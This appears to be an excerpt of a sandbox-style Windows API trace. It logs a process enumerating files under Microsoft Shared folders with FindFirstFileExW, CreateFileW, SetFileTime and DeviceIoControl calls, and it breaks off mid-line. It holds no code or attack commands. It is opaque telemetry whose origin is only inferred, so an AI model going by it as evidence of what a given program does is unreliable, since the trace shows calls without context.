ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0054.124] GetLastError () returned 0x12 [0054.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eeba0) returned 1 [0054.124] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eeca8) returned 1 [0054.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.125] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0054.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0054.142] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.143] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.143] NtClose (Handle=0x16c) returned 0x0 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0054.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.143] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.143] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.143] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e83e0 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eeca8 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8400 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eeba0 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8420 [0054.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eefc0 [0054.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.144] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0054.144] GetLastError () returned 0x12 [0054.144] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.144] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.144] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0054.145] GetLastError () returned 0x12 [0054.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0054.145] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.145] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0054.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.145] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.145] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.146] NtClose (Handle=0x160) returned 0x0 [0054.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0054.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0054.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0054.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, 